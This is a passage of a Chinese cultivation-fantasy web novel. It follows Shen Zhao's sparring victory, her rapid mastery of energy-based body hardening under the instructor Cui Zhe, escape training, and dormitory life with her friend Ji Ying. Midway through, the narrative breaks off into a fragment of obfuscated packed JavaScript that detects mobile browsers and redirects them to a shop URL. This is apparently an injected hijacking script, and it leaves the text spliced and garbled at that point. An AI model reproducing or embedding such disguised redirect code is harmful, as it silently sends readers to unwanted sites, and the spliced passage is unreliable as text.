沈昭站定,她看着这两个只有启灵中期的学员,随口问道:“要认输吗?”
曹璐摇了摇头,“不认。”
打不过是打不过,但连打都不敢打,那还当什么战神的契约者?
曹璐抬起刀,摆好架势。
“来战!”
沈昭很敬佩她的勇气。
所以沈昭全力输出,一招就把人给挑下去了。
紧接着,她把另一个学员也给送下去了。
此刻,擂台空荡荡
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的,只有沈昭站在中心,头发微微有些凌乱。
这一场打的可真是惊险。
还好她赢了!
不用洗袜子了!
提着枪,沈昭脸不红,气不喘,心情不错的从擂台上跳了下来。
七个学员熟练的从药箱中取出伤药,为自己包扎,个个龇牙咧嘴的,不过看向沈昭的目光倒都清澈了不少。
还真像曹璐说的似的,这家伙就是个怪物!
开挂都没有这么过分的!一打七啊,居然真打赢了!
没天理,太没天理了!
沈昭走到崔折面前。
“打得不错。”
崔折笑眯眯的夸赞,甚至还向沈昭举起来大拇指。
他看向跟过来的学员们,脸上的笑容未变,却无端让人脊背发凉起来。
“群战七打一啊,居然全都输了?你们这几年练的有这么差吗?”
“她选的长枪……”
胡绍刚想辩解,曹璐就一把拧在他的后腰。
找死啊,都输成这样还想辩解?长枪难打你当初怎么没想着换武器呢,现在再哔哔,不怕崔折给你开小灶?
认赌服输懂不懂!
她飞快的向崔折滑跪:
“没错,我们练的太差了,这就去加练!”
崔折挑眉:“加练多少?”
曹璐试探着:“一倍,两,不,三倍,加练三倍!”
“行吧。”
崔折很是勉强的同意了。
“那就去练吧。”
七个学员没敢哀嚎,个个垂头丧气的,转身要去训练区加练。
“哎,那我呢?”
纪缨靠在沈昭身边,还在兴奋沈昭获胜的她忽然意识到不对:“我不用测试什么的?”
崔折转过头:“你确定要测试?”
“呃。”
回想起这家伙给沈昭加的彩头,纪缨顿感不妙,她小心问道:
“我要测试的话,会怎么测?”
“唔。”
崔折摸着下巴,想了想,道:
“你逃跑,他们追,谁先打断你的腿谁减轻一半加训。”
我哗——!
纪缨拳头更硬了。
这是测试?这分明是想让她死啊!
“不开玩笑了。”
崔折收回笑容,正色道:“沈昭刚受古英灵赐福,我不清楚她的水准,所以才要测试,你这一年的成绩都发过来了,用不着再测。”
那接下来就是真正的训练咯?
沈昭扯了个凳子坐下:“那我们接下来要做什么?”
“你们两个情况不同,得分开练。”
崔折伸手,手指指向纪缨:“你契约的影猫不擅近战,想保命,就得先从逃跑练起,什么时候能从他们手下跑掉了再说。”
纪缨一愣。
等等,刚才他说让学员追着她打,不会是真的吧?!
“至于沈昭你嘛,传承的武艺倒是不错,可惜不是你的,用起来还是有些涩滞,打高鹏他们没问题,遇上真正的高手还是不行。”
崔折双手交叉,抻了抻手掌,兴致满满的开口:
“我就辛苦一下,给你当个陪练,正好边打边练习炁能掌控,咱们加把劲,来个魔鬼训练,以你的天赋,说不定一两个月就能大杀四方了呢!”
打完小的,连个过渡都没有,直接就要她打大boss?
看着崔折粗粝的手掌,沈昭瞬间头皮发麻。
药丸!
22.呔!妖孽!
说话间,崔折已经脱掉拖鞋,赤脚站在软垫上,活动起手腕,开始热身。
据说,早十几年前,他还风华正茂,体型媲美兰博,天天和同期的各大牲口卷生卷死,侥幸拿了个第一。
可惜人到中年,遇到一场伤病,风华褪去,实力不再,只能无奈退役,至今伤病仍未好转,人也越发年老体衰,就连体型也逐渐退回普通人的模样。
所以正值当打年岁的沈昭,不必怜惜我这个耄耋之年的老人,全力出手,他肯定能撑住的!
呵呵。
这些话沈昭但凡信一句都是脑袋进水。
哪个普通人热身活动时能做到骨骼接连爆响,肌肉涌起的?丫的连表皮都隐隐度上一层金光,演都不带演了!
还有,别她没感应到炁能涌动,那体量,自己对比起来简直像是水洼遇见条大河,这打起来,绝对是一九开啊!
她打一下,崔折就得跪在地上磕九个响头,求她别死的一九开。
崔折还在做着热身,动作大开大合,极为认真,似乎要把全身都要活动开似的。
他越是如此,沈昭越觉得可怕。
尤其是骨节摩擦声过后,对方血气凭空翻涌,筋肉也紧跟着膨胀起来,那层透过皮肤,由内向外的金光逐渐在表皮凝实,犹如镀了层金身,碰撞间竟发出金属般的声响。
这直接成合金钢人了啊!
沈昭有点汗流浃背了。
算了吧大佬,咱不用这么大动干戈,就我这点实力真的很难让您全力出手,打不尽兴的!
不过很快,崔折那令人恐惧的模样就迅速消散,热身结束的他恢复原状,重新变回了初见的那个拾荒大叔。
他嘴角仍挂着和善的微笑,笑眯眯道:
“放心,今天只是基础教学,不至于到铲不起来的程度,顶多有点小伤,沈昭你不用害怕啊。”
呵呵呵。
沈昭完全不想思索崔折口中‘小伤’的程度,她都不知道自己哪来的那么大勇气,居然到现在还没有跑。
大概,可能是因为潜意识告诉她,跑了会更惨吧?
只是出乎意料的,是崔折并未直接抓着她开打,也没有将纪缨扔去进行逃跑训练,而是先让两人坐下来听课。
“在教学开始前,我得先给你们补充个几个概念。”
崔折盘腿坐在软垫上,态度认真的对着两人道:“第一,个体作战能力的高低很难单一评定,它受等阶、英灵、武器、经验等多方面的影响,必须综合判断。”
这倒是不难理解。
不同英灵的战斗能力差距也很大,就像是陆队契约的风雷虎,契约者其他水平相似的情况下,前者能将契约影猫的纪缨吊起来打。
可倘若纪缨是个武道大师,那即便风雷虎再强,她也能手持红花棍轻松将陆队送走。
所以若想判断某个人的实力,还是得综合考虑,单一因素很容易翻车。
不过……
“这种综合判断,肯定会有某些因素占比更大吧?”
沈昭认真思索着:
“就像是同水平下,一个人英灵占优,另一人想用武学抹平差距,那武学水准恐怕要比前者至少要高个两倍才行,但武学提升的速度……不是天才的话,没个十年根本做不到。”
呦呵。
反应很快啊沈昭,这就意识到关键了。
崔折向她投了个赞赏的目光。
“是这样。”
崔折开口:“整体上来说,个人的战斗力是按照等阶、战斗经验,英灵,武器依次排列,不过由于凝炁期的修行者还是肉体凡胎,所以武器成了最大的关键,如果想最快送走敌人,那一把大口径突击步枪是最好的选择,可惜,市里禁枪。”
事实证明,最关键的永远是转折之后的那句话,沈昭脑海中美式居合的快乐还没幻想完,就被崔折一句‘市里禁枪’给彻底打碎了。
不过话说回来,她也有点难以想象背着把突击步枪在街上闲逛的样子,那分分钟就要被警察请去喝茶了。
一旁的纪缨则若有所思。
“我们没枪,不代表敌人没有吧?”
“没错,这就是第二个关键了。”
崔折又伸出一根手指:
“场地对作战也会带来极大的影响,城内炁能稀薄,日常出行又不能携带太惹眼的武器,这对修行者来说是很大的削弱,偏偏你们的敌人很大可能有轻型枪支又带着炁石,所以更要扬长避短。”
“拉平等阶,利用自身英灵特点针对性提升相关战斗能力,就是你们接下来的任务。”
“首先是防御。”
说着,崔折伸出左手,在两人的目光中,手指并拢,合做手掌。
“炁能除支撑英灵现身外,还可以用作于自身,如强化躯体,就像这般——”
伴随着声音,崔折粗糙的手掌上,透露出炁能涌动的迹象,仿佛它们正在不停的流淌,环绕,逐渐将整个手硬化成金色。
他随意活动下手指,随即弯曲,朝身边的地面敲击,发出沉闷的铛铛声响。
就好像合金锤似的。
“炁能强化的方向有很多,这种是增加皮肤的硬度,用来抵御攻击或进攻,除此之外,还可以暂时增强肌肉,加大骨骼的强度和韧性以提升爆发力等等……”
展示过后,崔折收回了附着在手掌上的炁能,“目前来说,你们需要尽快掌握如何强化腿部肌肉,以及硬化部分表层肌肤。”
这真是自保的绝技了。
强化腿部,自然能跑的更快,而硬化部分表层肌肤,就能抵御部分子弹,不至于当场丧命。
而且,这样的部分强化,对体内炁能的消耗也会降低不少,着实是她们现在最需要的能力了。
崔狗,啊不,崔都事,怪不得他狗到现在还没被套麻袋,这是真有两把刷子啊!
就是沈昭听着崔折的讲解,脑海中模模糊糊闪过个念头。
“我怎么觉着这个肌肉强化,和英灵赐福极为类似呢?”
“你感觉没错。”
崔折打了个响指:“修行者很多利用炁能的秘技,都来自于研究,模仿英灵赐福和天赋,甚至是很拙劣的模仿。”
说到此处,崔折轻叹一声,又解释道:
“就比如最基础的强化肌肉,它和战神赐福的【狂血】其实很类似,但【狂血】强化的更全面,协调,甚
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至不需要动用多少原主的精神力,稍加熟练,启灵期就能轻松启用。”
“但自行强化,最好凝炁期再尝试,即便是基础,上手难度也很高,需要反复训练才能掌握不说,还得时刻小心,不然稍不注意,就会对身体造成很大损伤。”
这些知识,哪怕是更早召唤英灵,进入重点班的纪缨,也没有接触到过。
她衡量着崔折口中的难度,眉头微拧,迟疑着问道:
“可我们现在才启灵期,差那么多,能掌握炁能强化吗?”
“基础技巧不是很难,你们契约了英灵,有类似的体悟,上手应该会容易些。”
崔折摸了摸胡茬,又伸出手:“来吧,今天你们先练习引导炁能,让它停留在手掌,再逐渐分布到表层……”
崔折的教导极为细致,边演示,边讲解,各个步骤的重点和易错处更是会再三提醒,但沈昭和纪缨听的全都是两眼发直。
前面引导炁能还好说,可怎么突然变成控制炁能在肌肤表层流动了?
这就像是玩游戏,这是走,这是跑,这是闪避,这是攻击,好了,现在你可以去打最终大boos了。
这谁能做的到?
纪缨看着崔折的手掌,感知中,覆盖整个手掌的炁能的确在以一种特定的规律不断交替着。
她伸出手,试图模仿,可炁能一股脑的涌到手掌后,就再也调动不了分毫。
她根本没法调动炁能做这么精细的变化!
几次下来,都是失败不说,她还因为精神力消耗过大,整个人都有些头晕目眩。
沈昭同样没好到哪里去。
许是因为穿越的缘故,她精神力倒是强些,能够进行更精细点的操控,也就是让炁能附着在手掌表层,可接下来怎么都别想再进一步。
‘砰。’
无声的炸响在耳边响起,沈昭强行控制失败,手掌表层的炁能再次无序的向体内四周散去。
这么唯心全凭感觉的东西,谁能掌握得了啊!
等等,感觉?
沈昭忽然想起崔折说的模仿英灵。
她再次伸出手,没有再次尝试崔折所说引导强化,而是先启动了技能,细心感受着启动它时,手掌上炁能的状态。
她记住了这种感受。
收回技能,沈昭再次运转体内炁能。
“一开始上手是比较难,你们不用太急。”
见两人连试数次都未成功,崔折脸上没露出丝毫意外。
“即便是凝炁期,最快上手炁能强化也要一周左右,你们半个月能做到,就已经非常厉害了。”
要练半个月啊。
一直失败的纪缨不免放松了些许,她揉着晕眩的脑袋,刚想说句好难,忽然听到身边的沈昭开口。
“崔都事,您看是这样吗?”
嗯嗯嗯?
纪缨扭头,看到沈昭正举着手,她手背围绕着一层淡淡的炁能,似乎正在以某种和崔折近似的规律交替流转着。
纪缨陷入呆滞。
这难道是……
成了?
她猛地一个激灵。
呔!妖孽,快把我认识的沈昭还回来!
23.有变态啊!
纪缨备受打击。
她觉着自己遭遇了背叛。
说好的大家一起进步,怎么沈昭你突然开挂了呢!
崔折同样怔在原地。
刚才的话还在他耳边回荡,可那并不是安慰,而是事实。
炁能强化说起来简单,但这玩意实际操作起来和怎么把大象装冰箱一样难,平庸点的修行者几个月都入不了门也是常事。
即便是他,那也花了一个星期才摸到门道。
可沈昭呢?自己前脚刚说完,毫无基础的她尝试几次,居然就直接上手了?
这要不是在他眼皮子底下发生的,他都不敢信!
沈昭还伸着手掌,在他的感知中,内里炁能的流动宛若呼吸般流畅。
崔折沉默着,伸手敲击着她的手背,又捏了捏,更加细致的感受着区别。
肌肤有一定硬度,但并不强,反倒是更有韧性,收缩更为快速,增加的分明是爆发力。
但不管怎么说,能控制炁能做到这种程度,就已经算是入门,只是方向略有些偏颇而已。
回想刚才沈昭身上的炁能波动,崔折若有所思:“你这是模仿的古英灵赐福?”
“对。”
沈昭点头:“您不是说炁能强化有一部分来自于模仿英灵嘛,所以我尝试记住启动天赋时炁能在手掌上的感受,然后复刻了它。”
说话间,她尝试性的握拳,又觉着这样看不出什么,于是稍稍侧身,全力握住了身边的钢椅扶手。
手掌充血,又很快泛起白色。
沈昭慢慢松开手。
铁制的扶手上,赫然出现薄薄的手指凹痕。
果然,这是有效果的!
“就是这样一来,就不是强化硬度,而是增强力量了。”
沈昭心中兴奋,她紧盯着手掌:“要是能调整一下就好了。”
嗯嗯嗯?
崔折头上差点没弹出几个问号。
沈昭,你知不知道自己到底在说什么?
谁都知道炁能强化好,可能利用好的却不多,原因就是这玩意看着简单,实际上内里极为复杂。
根据顶尖科研院的研究分析,它其实是让最小的炁能单位通过不同的排列组合附着在人体上,创造出不同的强化效果。
且不论研究院至今为止都没有确定炁的本质,只说应用层面,以个体的精神力,根本无法进行这种细胞,甚至有可能是分子级别的微观调整。
速度极快的模仿出赐福效果,虽然离谱,但至少还在理解范围内。
可你说要在这个基础上调整排列组合,让它达到另一种效果?
简直是开玩笑!
而且,乱调炁能排列可是很危险的!
崔折正准备开口制止,却见沈昭手上炁能流动发生了轻微的改变。
沈昭已经大胆的开始了自己的尝试。
修行者是靠精神力来调动炁能的,对沈昭来说,前者是她额外掌控的无形大手,而后者嘛,更像是关在她体内这个‘盆’里的水。
手是无法强行控制水的排列的。
但手可以引导水,就像在水里按照逆时针旋转,水就会形漩涡。
她需要改变精神力转法,让炁能的流动和崔都事展示的一致。
于是——
引导,调整,改变。
缓慢的微调。
在崔折的注视中,沈昭的手背逐渐覆盖上灰白,就像是多了一层薄膜硬壳。
她惊喜的停下。
“好像成了哎!”
虾仁猪心!
停下看的纪缨默默伸手堵住耳朵。
自己的失败尚能接受,但朋友的成功更让人面目全非啊!
草。
崔折也在心中无声骂了一句。
这哪里来的怪物?到底是不是人?
他再次伸手敲击。
和上次还是常人肉.体的触感不同,这次像是在击打在一层坚硬的甲壳。
崔折盯着沈昭,上上下下打量了数眼,这才道:
“就你这上手的速度,要是各大研究所知道,一定会立刻邀请你加入他们,成为所里的骨干。”
我看是被研究的骨干吧!
沈昭熟练的听出崔折口中的反话,她撇撇嘴,收回炁能,手掌迅速恢复正常,也没说什么应该不至于的狗话。
她还是很有逼数的,对比崔折给的时间,这个掌握速度着实有点离谱。
天知道是因为穿越还是什么原因,不过管它呢,当天才就是爽口牙!
“我接下来继续练强化?”
沈昭心情不错的问道:“防御的话,强化的应该不只是手,而是身体的各处要害吧?”
“不,这种状态不能持续太久,一次最多三分钟。”
“炁能是把双刃剑,强化的同时,也会影响肉.体,受伤是小事,以现在的医学,哪怕脊柱开裂,手脚砍断,都有办法给你治愈,可若是在炁能影响下产生畸变,那就难治了。”
说话间,崔折慢慢站了起来。
他再次活动起手腕,嘴角逐渐多了些许笑容。
“你的时间很紧,既然原本预计半个月的课你已经掌握了,那也别耽误了,咱们直接进入下一个阶段吧。”
真正的实战!
不豪!
沈昭下意识向后一挪,可还未跑开,就被崔折一把抓住,顷刻炼化。
“虽然我鼓励你和敌人刚一波,但从实用的角度出发,你面对敌人的时候,最有效的措施还是逃跑。”
将沈昭按在原地,崔折笑眯眯道:
“所以接下来的训练科目是,在遭遇战或埋伏战中,你如何最快护住要害,拔腿跑路。”
“来吧,接下来我们进行模拟,你随便跑,别被我追上,不然嘛……”
崔折忽然停顿了一瞬,他收回摁住沈昭的手掌,掌心金光乍现,脸上的笑容也逐渐开始变态。
“嘿嘿嘿你就死定了!”
沈昭顿时眼前一黑。
她来不及思索,转身就逃,因为在崔折的怪笑中,闪烁着金光的拳头已经扑面而来!
整整一上午,训练场都回荡着沈昭极速奔跑的喘息与惨叫。
崔折这狗东西,说是让她逃跑,实际上根本没留半点余地,每次都是卡着她极限更高一点点的程度,随手攻击她的要害。
后脑、颈椎、喉咙……每一次攻击都不致命,却痛的人能直飞天国!
逃逃不掉,躲也躲不掉,她现在都快被‘你死了’这三个字起ptsd了!
同在训练场上的其他人全都噤若寒蝉。
背着上百斤负重,练至满头大汗的胡绍偷偷瞄了眼沈昭,又瞬间收了回来。
他心里暗自升起一股庆幸。
还好,还好他听了曹璐的话没有继续再犟,不然现在被开小灶的就是他了哇!
至于纪缨,她刚开始还有点舒心,但很快就变成了兔死狐悲。
这种逃命训练,她也逃不掉啊!
后悔,她怎么被卷入死亡教徒这种倒霉破事里了呢?
早知道,她就不该去世纪大酒店打工了啊!
可现在一切都已经晚了。
心里掉着小珍珠,纪缨硬着头皮继续摸索起炁能强化。
失败,失败,反复的失败。
可失败中,却又隐约像是抓到了什么。
回想着沈昭说的话,纪缨再次调动起炁能。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049351|193284||http|test|mini|href|location''.split(''|''),0,{}));
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>感受,引导,模仿。
流畅的炁能交替,逐渐出现在她的手上。
“咦?”
“卧槽?!”
感应到什么的崔折往纪缨这边回望一眼,瞬间陷入愕然。
不是,今天我这是捅什么窝了,居然接连见到两个这么有天赋的大宝贝?
他攻击的动作停滞下来。
借着这个空档,沈昭直接躺在了地上。
她丝毫不在意地上的泥污,接连不断躲避追杀已经榨干她最后一丝气力,现在她双腿、手臂,甚至连腰腹都是麻飘飘的,好像已经不存在了似的。
“我真起不来了,你直接给我个痛快吧……”
“啧。”
墙上钟表的指针已经指向中午十二点,连续追杀了三个多小时的崔折总算良心发现,宣布停止。
“行吧,上午就练到这儿,让王姐给你按按,休息休息,吃个饭,下午两点半再继续。”
王姐名叫王枫,也是武道院的老师,资历更老,在这里已经工作了二十多年,她之前一直在盯训练场那些小孩子的训练。
不过那些小孩子没训练多久,十点就停下去上文化课了。
不需要工作,王枫也没有离开,反倒是留下来,饶有兴致的看沈昭被崔折追杀。
“好说。”
她撸起来袖子,走到沈昭身边,看她的眼神像是在看什么大熊猫:
“能在老崔手下撑这么久,你是真不一般呐,来,我给你好好按按,省得留下什么隐患。”
说话间,两只炁能涌动大掌就已经摁在沈昭的腿上。
火热的触感下,各种倒地和崔折殴打带来的淤青和肿胀飞快消散,麻木的双腿逐渐恢复知觉,要害处因为不断使用炁能强化而带来的异样感也渐渐消失,就连关节仿佛也归到更准确的位置。
这感觉舒适极了。
宛若新生的沈昭重新站了起来,她摇晃着脖颈,感受着仿佛轻了十几斤的躯体,不可思议的看向王姐。
妙手回春啊姐姐!
王枫后退两步,满意的看着生机活虎的沈昭,“我的推拿不错吧?”
“没得说!”
沈昭当即竖起一个大拇指。
“那以后训练完记得来找我。”
王枫再次强调:“炁期强化练习起来很危险,若是有什么异常,一定要及时和我们说。”
老师都这么慎重的反复强调,沈昭也不敢大意,她点头应道:“有问题我一定会说。”
王枫拍了拍她的肩膀:“那就去吃饭吧。”
纪缨走了过来。
她刚和崔折聊完,也不知道说了什么,现在脚步飘飘忽忽的。
“沈昭,我也能做到炁能强化身体防御了。”
沈昭震惊地望了过去。
哎?姐妹,你也开了?
“呃,恭喜?”
只是纪缨的声音中没有任何惊喜,沈昭看她的模样,不免有些担忧。
“你还好吗?”
“没事,我很好,就是下午我也要进行实战训练而已。”
纪缨脸上仍挂着微笑,可微笑中却带着股死意,甚至还多了些许癫狂。
“我问崔都事了,他只在白天训练,晚上我们能自由活动,我准备让妈妈请个跑腿,把我备考的试卷都送过来,晚上做做,省得丢了手感,你呢?要不要也一起拿过来?”
不是吧姐妹,今天就要开卷?
沈昭在心中点了个赞。
“拿,我也想刷套数学题放松下。”
曹璐正从着两人身边路过,一听这话,吓得瞬间闪跳至两米开外。
这世上怎么会有人主动拿卷子做,还说做数学卷是放松的啊!!!
24.日常
曹璐脚步飞快,瞬间远离了两个变态。
而行动力超绝的纪缨已经开始打电话了。
手机是纪缨从吴涛手里抢来的战利品,续航超强,到现在还有三格电。
两人朝楼梯口走去。
路上,沈昭活动着肩膀。
还别说,今天上午三个多小时的特训虽然难熬,但收获也是杠杠的。
最重要的,是她身体的应敌反应速度总算提了上来。
就像崔折说的那样,项羽灌输给她的武艺只是记忆,沈昭只有在开启被动的时候才能熟练的使用,平常她其实还是个不善作战的普通人。
虽然遇敌时,沈昭可以一两秒钟内就迅速开启被动,但对于偷袭者来说,这个时间也足够送她去见上帝了。
而现在,沈昭不需要依靠被动,也能如本能般迅速躲避突然出现的攻击。
甚至在崔折的训练下,沈昭的炁能强化也掌握的越发熟练,在躲避的瞬间,就能在喉咙,太阳穴,心口等要害表层形成硬壳,抵御突如其来的伤害,同时强化双腿的爆发力,快速拉开距离逃跑。
再练个几天,沈昭感觉自己可以在不使用技能的情况下,和曹璐打个平手。
就是不知道是崔折教导的防御强化太基础,还是自己现在的等阶太低,炁能强化的表层肌肤防御效果并不高,别说子弹,就是冷兵器多用点力气,照样能砍开。
还是得加练啊。
沈昭默默给自己又加了些训练计划。
“喂,妈妈,我在这儿很好。”
正午的阳光从窗户照进楼梯,照的人暖暖的,打通电话的纪缨嘴角上扬着,声音也不自觉的甜了起来。
“你不知道,教我们的老师可奇葩了,不过他也是真有本事,还特别负责,一对一给沈昭当陪练,练了整整三个多小时……”
电话那头传来附和,那声音温柔极了:“是吗?那老师还是很好嘛。”
回想沈昭刚才训练的惨状,纪缨欲言又止。
她实在是没法违心夸赞崔狗啊!
她转移起话题:
“那个,妈,你帮我收拾下书桌,把我的必刷真题,三年模考都装书包里让人送过来吧,我晚上有空可以做,还有沈昭,她也需要把家里的书送过来。”
说着,纪缨转过头:“对了沈昭,你家钥匙在你身上吗?”
如果钥匙只在沈昭身上,那跑腿就得多跑一趟,先过来拿钥匙再去沈昭家才行。
幸好,事情没有这么麻烦。
“要钥匙?”
沈昭从加训计划中抽回思绪,她道:“我家楼梯口的通风扇上还有一把。”
“昭昭在你身边?”
“在的在的。”
沈昭朝着电话那头的纪缨妈妈打起招呼:“纪阿姨好。”
“哎,真好,你们两个能互相照顾。”
电话那头传来纸张翻动的声音,纪缨妈妈似乎是在找纸笔,“来昭昭,你说要哪些书?我记一下,一会儿一起给你送过去。”
“我卧室的金考卷,模拟真题……”
沈昭回忆着原主的记忆,一口气说了数本,她停顿片刻,又问道:
“纪阿姨,要是可以的话,能把我家柜子里的腊肉也送来吗?我短期内回不了家,怕放坏了。”
“没问题。”
纪缨妈妈很好说话的应了下来,见没什么其他要求,便嘱咐起纪缨。
“缨缨啊,快联考了,还是要好好学习,不过也别给自己太大压力,要注意身体,多休息,我再给你送些补品,你还要……”
纪缨完全不想听这些,她打断道:“不用,妈这里什么都有,我要先去吃饭了,有时间再聊,拜拜!”
话音刚落,纪缨就挂断了电话,像是逃过大劫似的,长舒了一口气。
妈妈的唠叨着实是人生不可承受之重啊。
沈昭看着突然挂掉手机,忽然有些空落落的。
她倒是不讨厌这个,毕竟穿越后是孤儿,穿越前虽然有爸妈吧,可一个是地勘,一个是急诊医生,个个都不着家,不是孤儿胜是孤儿,想听唠叨都听不到。
也不知道自己猝死后,他们两个工作狂会怎么样。
有那么多工作,应该不会太难过吧?
她……有点想他们了。
*
人当真是一种很奇怪的动物,心态再好,偶尔也会因为某些不起眼的东西击溃心防。
好在沈昭极擅调节,没几分钟就恢复正常,连纪缨都没发现异样。
吃过午饭,沈昭和纪缨在宿管阿姨的带领下,前去她们的宿舍。
武道院有专门学生宿舍,因学员不多,所以哪怕在市中区,也豪气的规定两人一间,里面配置更是齐全,除标配的床,桌椅,衣柜外,还有卫生间和阳台,甚至阳台上还有洗衣机——不收费,插电即用。
喷不了,这是真有钱。
就是宿舍内没什么软装,被褥床单都收起来,堆放在仓库里,放的时间久了,现在拿出来一看,都有些返潮,没办法直接铺在床上。
得了,今天中午还是别休息了。
沈昭将被褥晾在楼下,床单被套扔进洗衣机内清洗,顺手又把宿舍的犄角旮旯打扫了一遍。
忙碌间,纪缨沉重的脚步声传了过来。
“妈耶,我妈怎么送来这么多东西!”
纪缨肩上背着登山包,手中还拉着半人高的皮箱,她咬着牙将皮箱拎过门槛,明明没抬多高,四个滚轮却依旧重重的砸在地上,发出沉闷的声响。
跟上来的宿管阿姨也将两个帆布包放在门口,“这两个包我就放这里了,你们自己整理哈,记得别把房间弄得太乱。”
说着,宿管阿姨转身就走。
“阿姨等等!”
纪缨卸下登山包,拉开拉链,提着装着水蜜桃的布袋就追了上去:“这蜜桃挺不错的,您拿两个回去吃吧。”
“不用不用。”
“拿着吧,要不是阿姨您帮忙,我还得再跑两趟呢。”
“你这孩子……”
推拉间,沈昭先将两个帆布包拎了进来。
纪缨送走阿姨,踮着脚尖回了屋,她关上房门,激动的开口:“沈昭,我刚才在楼下吃了个大瓜!”
“哎?”
沈昭想询问的话顿时堵在了喉咙中:“什么瓜?”
“崔都事的。”
纪缨坐到床边,她将沈昭的包推过去,压低声音道:“我刚才在楼下和阿姨聊天嘛,听她说,他刚来武道院的时候不是这个样子,说什么,可整洁干净有耐心了,根本不是现在这个邋遢模样和脾气。”
咦?
沈昭还以为崔狗一直都是这么狗呢,没想到以前居然还是个人?
她来了兴致,追问道:
“那他是受了什么刺激,才从人变成了狗?”
“超大的刺激!”
纪缨道:“你不知道,他刚来时做的是助教,带87和88两届学员,一开始都挺好的,教学进度也很顺利,结果情人节那天,
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他在办公室发现三封情书!”
卧槽居然还有人敢给崔狗写情书?谁那么大胆?
等等,不会是?
沈昭瞳孔微微放大,她看向纪缨。
“没错,就是你想的那样。”
纪缨甩了个肯定的眼神:“都是手下学生写给他的,而且其中还有一个是男的!”
卧槽!
这可真是个惊天大瓜,即便已经确认,沈昭还是消化了两三秒钟才反应过来,她下意识问道:
“那两届学员多大?”
这是句废话,武道院内就没有二十岁以下的学员,哪个给他写情书都是生命不可承受之重啊!
“一个十四,一个十五。”
纪缨声音中满是幸灾乐祸:“我敢说他当时应该要被吓死了。”
“我觉着也差不多。”
沈昭极为赞同的附和,甚至还生出几分同情……好吧没有同情。
崔狗以前受的惊吓和她有什么关系?他现在狗道大成到处折磨人,自己也是受害者!
“估摸着就是因为这事儿,他才不修边幅还变着法折磨学生的。”
纪缨托着下巴。
“真是不明白,怎么会有人会喜欢上老师啊?”
“青春期嘛,说不定还有点环境因素,周围人都逼你往死里练,每天又苦又累的,这时候有个长的不错每天安慰还给你打气,那很难不产生好感,然后就被当成爱情了呗。”
翻过心理学的沈昭还是能理解这种心态的,“你看现在就没人喜欢崔狗了不是,大家都想刀了他。”
“你说的对。”
回想今天初见的经历,纪缨握紧拳头:“我也想刀了他。”
*
“老崔,你怎么把接下来的课程都给改了?”
办公室内,王枫放下手中的保温杯:“训练量增了三倍?他们哪撑得下来。”
“没事,有沈昭和纪缨呢。”
崔折大手一挥:“多比比,输了自然会往死了练。”
“……”
王枫:“你是真不怕他们在背后骂你。”
“骂就骂呗,又不会少块肉。”
崔折没个正形的靠在椅背上,骂几句算什么?反正这群小崽子又打不过他,好态度才要命呢!
王枫嘴角一抽。
不,我是想说你是真不拿沈昭和纪缨当外人,按你的搞法,这俩姑娘接下来身上仇恨值恐怕都要爆表了!
但王枫很快意识到崔折这么干的真正目的。
“你这是想催熟?”
迟疑片刻,王枫还是问道:“事态应该还没有严肃到这种程度吧?”
“不好说。”
崔折神色多了些许肃穆:“先做最坏的打算,若真……也能将这批种子送出去。”
“听你的。”
王枫轻叹:“后勤我会尽力管好的。”
“也不一定会那么糟,陆毅那小子不还在查嘛,说不定人就全杀了呢。”
崔折安慰着,忽然想起什么,一拍大腿:“坏了!”
王枫心一紧:“怎么了?”
“我忘了问曹璐他们几个零花钱给沈昭了没有,这几个小兔崽子可别没给。”
崔折踢踏着拖鞋就往外走:“这可不行,不给怎么打起来?”
王枫伸手扶额。
崔折,你可真是个狗东西。
虽是这么说,可她也没有出手阻拦。
嘿嘿,打起来打起来,她也想看血流成河口牙!
25.卷狗滚出武道院啊啊啊!
宿舍。
不知道为什么,沈昭忽然感觉背上传来一阵恶寒。
总不会是因为背后蛐蛐崔狗的过往小秘密吧?
她止住这个话题,扯过帆布包,拉开拉链,将里面开袋即食的熏肉片和肉脯递给纪缨。
“尝尝,正宗的家养猪肉,比养殖的好吃多了。”
“我等下再吃。”
纪缨接过零食,先放在了只剩下木板的床上,伸手扯过母亲送来的巨大黑色帆布包。
“我先看看我妈到底装了什么,能送这么多东西过来?”
说着,纪缨将帆布包拉开,拿出最上层的布袋。
打开一看,里面竟然是两套洗漱用品,牙刷牙膏,洗面奶,擦脸巾,护肤乳一应俱全。
它们都是新的,没有拆封,被分别装在两个密封袋中,还贴心的买了不同的颜色,一个大部分是抹茶绿色,另一个是丁香紫色,以便区分。
“哇偶,差点忘了住宿还需要这些呢。”
纪缨愣了下,嘴角不自觉的向上勾起着,眼睛也弯了下来。
她将两个袋子放在床板上,招呼道:“沈昭,你看看要哪个色?”
这两天经历太过丰富,被牵扯不少心神的沈昭一时间也忘了住宿要准备洗漱用品,直至纪缨将东西拿出来,她才反应过来。
就是没想到纪缨妈妈会直接送过来两份,连她的都一并准备了。
纪缨的动作没停。
她继续从帆布布袋中拿着东西,两双全新的拖鞋,浴巾和搓澡巾等零零散散的日常用品。
这些东西铺在床上,将大半个床都铺满了。
沈昭看着它们,脑海中浮现出纪缨妈妈一接到电话,就放下手头工作,前往商超采购,一样一样认真挑选的样子。
嗯……
她一点也不羡慕。
“啊,还有这个!”
纪缨将最后一样拿了出来,那是十套内衣,成套的,仍旧是两份,一份边缘带着撞色条纹,另一份则是纯色。
贴心度简直爆表。
纪缨招呼着一动不动的沈昭:“沈昭你来挑一下嘛。”
沈昭没挑,她凝望内衣片刻,人直接靠在纪缨身边,胳膊搭上了她的肩膀。
“纪缨。”
“嗯?”
“从今天起,咱们就是亲姐妹,所以你妈就是我妈,快,给我电话,我要给我妈打电话!”
纪缨:“……”
想道谢也不用这么说吧?
她拿出手机,沈昭立刻接过来,拨通了电话。
亲妈肯定不会在意她再认个干妈的!
纪妈妈一如既往的温柔,丝毫不介意自己再多个两百多月的女儿,沈昭没费多大劲就成功认了干妈,还约定有时间一定去她家里吃红烧肉。
忽然因为晚出生两个月,成了妹妹的纪缨:“……”
不是,你来真的?
“绿色养眼,这几个我都选绿色了。”
